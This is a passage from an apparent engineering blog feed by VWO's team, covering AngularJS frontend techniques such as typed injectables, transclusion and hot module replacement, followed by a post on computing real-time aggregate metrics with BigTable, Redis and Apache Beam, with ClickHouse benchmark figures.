$i.get('$http'); // and so on for every other native service... } ]); export let $http: ng.IHttpService;</code></pre></div> For our custom services, we have been writing TS classes which create strongly-typed injectables. We export custom services instance from the definition file itself. Here is an example: <div class="gatsby-highlight" data-language="ts"><pre class="language-ts"><code class="language-ts">/** importHelpers.ts */ import * as ng from 'angular'; import app from 'app'; let $injector: ng.auto.IInjectorService; export function getInjectable&lt;T>(injectable: string, callback: (instance: T) => void) { if ($injector) { callback($injector.get&lt;T>(injectable)); } else { app.run(['$injector', ($injector: ng.auto.IInjectorService) => { callback($injector.get&lt;T>(injectable)); } ]); } } /** CampaignService.ts */ class CampaignService { // implementation here... } app.service('campaignService', CampaignService); export let campaignService: CampaignService; getInjectable&lt;CampaignService>('campaignService', instance => campaignService = instance);</code></pre></div> In the code above, <code class="language-text">campaignService</code> is the instance of <code class="language-text">CampaignService</code> that becomes directly importable anywhere throughout the codebase without going through the hassles of injection and preserves the type-safety automatically. <h3 id="component-based-and-intelligent-attribute-directives" style="position:relative;"><a href="#component-based-and-intelligent-attribute-directives" aria-label="component based and intelligent attribute directives permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Component-based and intelligent attribute directives</h3> AngularJS always had the component-based architecture available at hand but under the disguise of isolated scope directives. In fact, isolated scope directives are much more powerful as you have access to everything, from requiring other controllers up the chain, having access to element using <code class="language-text">$element</code> and the least appreciated feature - Transclusion. Transclusion is probably the most underrated feature that AngularJs provides. This is basically analogous to slots in VueJS. This allows us build components that can take parts of the template as input from the consumer of component, letting us make very generic components that only encapsulate javascript logic, and the styling and the content can be outsourced to consumer. For example, here we're using our select-box component which handles everything that a select-box should, but along with that, the consumer of component has complete control on how options should look (like icons, tooltips). This is probably as powerful as any other modern framework. <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html">&lt;vwo-select-box options="vm.selectBoxOptions" ng-model="vm.ngModelSelectBox"> &lt;selected-value-slot> &lt;span>Selected - {{$slot.option.name}}&lt;/span> &lt;vwo-icon vwo-dynamic-tooltip-next icon-size="20" icon-name="icon--info" class="icon text--highlight"> &lt;tooltip-content> This just shows what you have selected. You have selected '{{$slot.option.name}}' &lt;/tooltip-content> &lt;/vwo-icon> &lt;/selected-value-slot> &lt;option-slot> &lt;span>{{$slot.option.name}}&lt;/span> &lt;vwo-icon vwo-dynamic-tooltip-next icon-size="20" icon-name="icon--info" class="icon text--highlight"> &lt;tooltip-content> Clicking on this option will select {{$slot.option.name}} &lt;/tooltip-content> &lt;/vwo-icon> &lt;/option-slot> &lt;/vwo-select-box></code></pre></div> Modern frameworks provide a component-only approach to UI development, while AngularJS provides a full flexibility around that and which is taken to the next level with attribute based directives. Attribute based directives have a complete access to the whole life-cycle of an element and can modify it's behavior at any point of time. We use these directives very frequently to easily add reusable behaviors anywhere we'd want. For example, there is a very generic requirement to ellipsize texts in limited screen-estate, but along with ellipsizing, it also becomes a requirement to add title for screen-readers or for looking at complete text when hovered. We have been able to encapsulate all of this covering every edge-case in a very simple attribute that would ellipsize wherever required, automatically. For example: <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html">&lt;span class="Miw(0)" vwo-ellipsize>{{ session.platformName }}&lt;/span></code></pre></div> We use Mutation Observers, Resize Observers, real-time space availability checks, etc to decide the truncation of text and ensuring the element has title only if truncated. All of this wrapped in a cute-little attribute that we can put anywhere the text could grow. See, AngularJS is not so bad after all 😅! <h3 id="hot-module-replacement" style="position:relative;"><a href="#hot-module-replacement" aria-label="hot module replacement permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hot Module Replacement</h3> Hot Module Replacement (HMR) is taken for granted these days with such incredible tooling at hand, and with native framework support, it becomes a breeze to develop user interfaces at an incredible pace. The feedback loop is almost friction-less and you get to see things on-screen as you type and save. <div class="img-wrapper" style="text-align: center;"> <img width="50%" src="/images/2023/01/laxman-hmr.jpeg" alt="HMR meme"> </div> HMR is a fancy new thing and wasn't even a feature back then. With our archaic build process using grunt, loading modules using requireJS (AMD) and AngularJS with it's own cluttered dependency injection pattern, HMR was only a dream for us (at least until recently). This was more like looking for a Torque Converter in our stick-shift manual. Although, it was need of the hour, as a full-reload of the app on every code change was wasting a lot of time of our developers. We started thinking around ways that could refresh the app with updated code in a jiffy without a full-reload. There were multiple challenges and multiple iterations, but we were able to create a solution. Our latest HMR system streams all your HTML/TS/CSS changes to your browser in less than a second and the repaint is virtually flicker-free. The system uses multiple nuances of requireJs, AngularJS, TS and DOM along with a lot of intelligent caching and batching to make this possible under a second and flicker-free. Don't tell, just show? Here you go 🚀: <div class="img-wrapper" style="text-align: center;"> <video loop="true" controls="true" muted width="80%" autoplay="true" src="/images/2023/01/hmr-edit.mp4" alt="HMR Video Preview"> </div> A detailed blog post around how this system works is on the way. So, stay tuned! <h2 id="whats-next" style="position:relative;"><a href="#whats-next" aria-label="whats next permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>What's next</h2> We have been evolving our frontend engineering consistently to make it on-par with the new technologies and frameworks emerging all the time and shared some of the key tips and tricks in this post. <div class="img-wrapper" style="text-align: center;"> <img width="40%" src="/images/2023/01/tension.jpeg" alt="Tension meme"> <img width="40%" src="/images/2023/01/tension-sorted.jpeg" alt="Tension sorted meme"> </div> Despite these advancements, there are still some challenges that we need to overcome, such as build process speed and the need to optimize for performance and actually a new framework. Looking to the future, it's clear that we probably need to move on from AngularJS one day and we already have laid the stepping stones for that. We're in the process of moving away from our age old grunt to a newer build process (probably using <a target="_blank" href="https://vitejs.dev/">Vite</a>) which will provide us with the latest tooling, faster build and path to upgrade to a modern framework. We'll share our progress around that in another blog post. Till then keep innovating and keep experimenting! PS: We're not too far 😉, and already have an alpha ready with Vite 🔥.</content:encoded><author>Pranav Jindal</author></item><item><title><![CDATA[Computing Aggregates in VWO]]></title><description><![CDATA[Introduction In VWO, we present clients with information about the data of their users' events in aggregated form on their dashboard…]]></description><link>https://engineering.wingify.com//posts/computing-aggregates-in-VWO/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/computing-aggregates-in-VWO/</guid><pubDate>Thu, 09 Mar 2023 00:00:00 GMT</pubDate><content:encoded><h2 id="introduction" style="position:relative;"><a href="#introduction" aria-label="introduction permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Introduction</h2> In VWO, we present clients with information about the data of their users' events in aggregated form on their dashboard. Aggregates are calculations performed on a set of events using a specific aggregate function, based on specified conditions. In the VWO world, aggregates are also called metrics, which the client defines. Let's examine the journey of a visitor on an e-commerce platform. When a visitor lands on the product page, they may make the purchase. This can be viewed as a two-step process. There are two key business metrics to track: the number of visitors who land on the product page and the number of visitors who complete a purchase. By plotting these numbers on a daily basis, we can identify any trends that may exist. These numbers seem pretty straightforward in computation. But things get tricky when you give the freedom to apply any sort of conditions to your client to compute any sort of metrics. For example, (Conditions) compute only when <ol> <li>The visitor is a female</li> <li>And the visitor is from India</li> <li>Or the visitor has placed an order with a minimum value of $499.</li> </ol> (Metrics) And compute the below metrics: <ol> <li>The overall number of such scenarios.</li> <li>The number of unique visitors involved in such interactions</li> <li>The total value of items sold during these interactions</li> <li>The total quantity of items sold during these interactions.</li> </ol> <h2 id="how-we-were-doing-it-earlier" style="position:relative;"><a href="#how-we-were-doing-it-earlier" aria-label="how we were doing it earlier permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>How we were doing it earlier:</h2> We used to calculate metrics in <a href="https://vwo.com/">VWO</a> using Postgres. However, our previous method was limited as it only involved simple calculations and a small number of metrics. We had a day-wise table with a few columns as metrics, and the pipeline would process raw events to update the counters in the table. <h2 id="limitations-of-the-previous-implementation" style="position:relative;"><a href="#limitations-of-the-previous-implementation" aria-label="limitations of the previous implementation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Limitations of the previous implementation:</h2> <ol> <li>The client did not have the flexibility to create custom events and custom metrics.</li> <li>Unique visitor tracking was accomplished using client-side cookies and was not incorporated into the pipeline.</li> </ol> To address the limitations mentioned, we implemented an event-streaming architecture for the product. We now store raw visitor events in Google BigQuery and Clickhouse. This allows for real-time calculation of custom reports without the need for storing specific data. <h2 id="why-cant-we-power-up-metrics-from-bigquery-and-clickhouse" style="position:relative;"><a href="#why-cant-we-power-up-metrics-from-bigquery-and-clickhouse" aria-label="why cant we power up metrics from bigquery and clickhouse permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Why can’t we power up metrics from Bigquery and Clickhouse?</h2> BigQuery is a very powerful tool to run very complex SQL queries on very large datasets. But it takes a few seconds to give results. The SLA for aggregate computation was in sub-seconds. So we could not use Bigquery for this reason. ClickHouse is an open-source column-oriented DBMS for online analytical processing that allows users to generate analytical reports using SQL queries in real time. Initially, we powered up the metrics with Clickhouse, but over a period of time with continuously increasing data and continuously increasing parallel queries, we noticed that ClickHouse consumed more and more CPU resources to perform these computations. We knew ClickHouse will not sustain against the aforementioned conditions for a number of reasons: <ol> <li>Our computations combined with business logic were quite complex to perform on raw event data.</li> <li>Clickhouse performs better when we directly aggregate the data without too many conditional transformations.</li> </ol> Our experience with Clickhouse showed that it would be challenging for any system to process raw events in real-time and deliver results in sub-seconds with limited resources. Therefore, we focused on creating a system that can compute metrics during data ingestion (at the time of writing the data) instead. <h2 id="what-were-some-common-parameters-we-seek-a-solution-for" style="position:relative;"><a href="#what-were-some-common-parameters-we-seek-a-solution-for" aria-label="what were some common parameters we seek a solution for permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>What were some common parameters, we seek a solution for?</h2> <ol> <li>We needed to provide metrics at the visitor level, such as the amount spent on a visitor's first purchase.</li> <li>We also had to compute metrics based on the uniqueness of visitors, such as calculating metrics only for unique visitors. This required a deduplication service to determine whether a visitor had been seen before.</li> <li>Clients can define N number of metrics, we can’t choose SQL because there the table schema would be fixed.</li> </ol> <h2 id="how-did-we-arrive-at-bigtable" style="position:relative;"><a href="#how-did-we-arrive-at-bigtable" aria-label="how did we arrive at bigtable permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>How did we arrive at BigTable?</h2> <ul> <li>In our existing ecosystem, ClickHouse and Bigquery are OLAP databases that are not good with update operations. As the events and metrics can both be defined by the client, it would be challenging to implement this data structure in a SQL-based database.</li> <li>Bigtable also has an inbuilt increment operator support which proves beneficial in terms of performance to increment metric counters concurrently from many threads.</li> <li>We did not want to add 1 more database to the existing ecosystem, unless necessary. We were already using BigTable for some other scenarios, so it became our preferred choice.</li> </ul> <h2 id="what-bigtable-brings-to-the-table-for-us" style="position:relative;"><a href="#what-bigtable-brings-to-the-table-for-us" aria-label="what bigtable brings to the table for us permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>What BigTable brings to the table for us?</h2> <ul> <li>A fully managed, scalable NoSQL database service for large analytical and operational workloads with up to 99.999% availability.</li> <li>Consistent with single-digit millisecond latency</li> <li>Seamless to scale to any storage and throughput.</li> <li>Highly available with multi-primary replication.</li> <li>Easily connect to Google Cloud services or the Apache ecosystem.</li> </ul> <h2 id="implementation-using-bigtable-and-redis" style="position:relative;"><a href="#implementation-using-bigtable-and-redis" aria-label="implementation using bigtable and redis permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Implementation Using BigTable and Redis:</h2> The below diagram (Figure 1) gives an abstract idea of the data ingestion pipeline which is storing aggregated metrics in BigTable. <h4 id="figure-1-high-level-design-of-aggregation-framework" style="position:relative;"><a href="#figure-1-high-level-design-of-aggregation-framework" aria-label="figure 1 high level design of aggregation framework permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figure 1: High-Level Design of Aggregation Framework</h4> <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/ce873f0de7737f9f00831f94a6df7f51/0f586/figure1-bt-agg-high-level-diagram.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 75.72254335260115%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABYlAAAWJQFJUiTwAAABHklEQVQ4y5WUiW6EMAxE+f/vRIhT3Dck1XM1VURZSiNZmyXJY8Z2iJxz/i4Y27b5oigs9n33bdv6NE193/f+07noCXgch6/r2oL5OI4Gn+fZ1l8DtVlQlGosy/K9z7tbaPSX5WmazGqWZaYOlTx7bZmBJak6z9Ov62pKNQ/3kdtQ6S1wGAbbrByikAGsqipbc+70Xdf9vPgVkEiSxKyiDnAcxwZC2WsgOUKNihLaCi2Tz31/AVS+AKGSvsvz3Cos9QzW2fcIFDQsiIrEi1AvxRqv2kZgDsu+LAP+V2OHMFUZleSM/xTjEzS62rzaIG/YxD7BHPuPjS01HEaJEh0+1wH1Z3hFfwE5hJ2macySbgC/KAJYlqV9aXT1rv2n+AJ7u52Ff1NOegAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="figure1 bt agg high level diagram" title="figure1 bt agg high level diagram" src="/static/ce873f0de7737f9f00831f94a6df7f51/1e043/figure1-bt-agg-high-level-diagram.png" srcset="/static/ce873f0de7737f9f00831f94a6df7f51/991de/figure1-bt-agg-high-level-diagram.png 173w, /static/ce873f0de7737f9f00831f94a6df7f51/e4d6b/figure1-bt-agg-high-level-diagram.png 345w, /static/ce873f0de7737f9f00831f94a6df7f51/1e043/figure1-bt-agg-high-level-diagram.png 690w, /static/ce873f0de7737f9f00831f94a6df7f51/e3189/figure1-bt-agg-high-level-diagram.png 1035w, /static/ce873f0de7737f9f00831f94a6df7f51/b1001/figure1-bt-agg-high-level-diagram.png 1380w, /static/ce873f0de7737f9f00831f94a6df7f51/0f586/figure1-bt-agg-high-level-diagram.png 1498w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> As per the architecture diagram (Figure 1), We have a streaming write service using Apache beam framework to compute these metrics from the incoming traffic data in real-time. We store the computed day-wise metrics in Bigtable. Then the read service powers the VWO dashboard using these computed numbers. <h2 id="in-what-ways-is-redis-integrated" style="position:relative;"><a href="#in-what-ways-is-redis-integrated" aria-label="in what ways is redis integrated permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>In what ways is Redis integrated?</h2> We have utilized Redis, an open-source in-memory data structure store, to serve as a side input for our ETL pipeline. This allows us to provide the pipeline with all the necessary meta-information to compute metrics as defined by the client. As the data is frequently used in the streaming pipeline, Redis is the ideal choice due to its low latency and ability to function as an in-memory store <h2 id="performance-numbers-and-benchmarks" style="position:relative;"><a href="#performance-numbers-and-benchmarks" aria-label="performance numbers and benchmarks permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Performance Numbers and Benchmarks:</h2> <h3 id="when-metrics-are-powered-through-clickhouse" style="position:relative;"><a href="#when-metrics-are-powered-through-clickhouse" aria-label="when metrics are powered through clickhouse permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>When Metrics are Powered through ClickHouse:</h3> As stated in the article, ClickHouse is known to be a highly CPU-intensive database when computing raw data, resulting in slower query performance. This was also confirmed through our benchmarking tests, where we found that when hitting 10 REST APIs concurrently using Clickhouse, the average response time was 930 ms, and 90% of the requests took over 1.16 seconds. Below(Figure 2) is the BlazeMeter report stating the same. <h4 id="figure-2-stats-of-load-test-1-when-metrics-are-powered-through-clickhouse" style="position:relative;"><a href="#figure-2-stats-of-load-test-1-when-metrics-are-powered-through-clickhouse" aria-label="figure 2 stats of load test 1 when metrics are powered through clickhouse permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Figure 2: Stats of Load Test-1 (When metrics are powered through ClickHouse)</h4> <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/9a36cccea702323e0b7326dce8e429aa/196e0/figure2-perf-nums-through-ch.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.64739884393063%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAABuUlEQVQoz5VS224TMRTc//8KHgCFopBCRUsQfAovNE3bZLM3e323hzneVAogIWFp1j5zjudcvM3NzRfcbr/jzWr9G1ZXG2w+fsYHYvPpFuvrO3zdXqP9scK37Xu8er3G23frv+41+M8Vy7/9zbHTGJVBCBGDVng6tdDGwUwKQ6+gZgc9M6bfY5w0vLeY9QlaazgfMA0GfTfBOg9jPRo1++qQ5YKngEbKGclapLDwpSR4O9WkkLOjmHPkC5wJsGY5p5TReF4Sp8B7XwVCjMxGwZLRUahctFkujD/5s2BEjAsCxbNUR0fJBZmCkRVJsPCyi0jmx7OrmNKZWxBFMEa2EBKsz2w5QbOykW0bXrA+cRxLgsTLMifrAgz3gfNUs6m2QBLUCiVzPyXcP1vcHzQejpbw2B1MtXe0Qyy1qsejwcPzjP1BYM6YsSM3Kl+rrILd5PBTAo8B+zYuOEYKBwoaeHaROYLHduHE9xIj2B0CRr2030grSln0QyA82s6ibWd0PPfjwsnrSoX9RFslFhDRDg4n+gYVyUf+arHOuc7wZahCyMNEvrYkQuVz5fM5hmSdVWScxF4+ivC/AG8xSfiXhlJUAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="figure2 perf nums through ch" title="figure2 perf nums through ch" src="/static/9a36cccea702323e0b7326dce8e429aa/1e043/figure2-perf-nums-through-ch.png" srcset="/static/9a36cccea702323e0b7326dce8e429aa/991de/figure2-perf-nums-through-ch.png 173w, /static/9a36cccea702323e0b7326dce8e429aa/e4d6b/figure2-perf-nums-through-ch.png 345w, /static/9a36cccea702323e0b7326dce8e429aa/1e043/figure2-perf-nums-through-ch.png 690w, /static/9a36cccea702323e0b7326dce8e429aa/e3189/figure2-perf-nums-through-ch.png 1035w, /static/9a36cccea702323e0b7326dce8e429aa/b1001/figure2-perf-nums-through-ch.png 1380w, /static/9a36cccea702323e0b7326dce8e429aa/196e0/figure2-perf-nums-through-ch.png 2626w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> <h3 id="clickhouses-cpu-stats-while-benchmark-test" style="position:relative;"><a href="#clickhouses-cpu-stats-while-benchmark-test" aria-label="clickhouses cpu stats while benchmark test permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 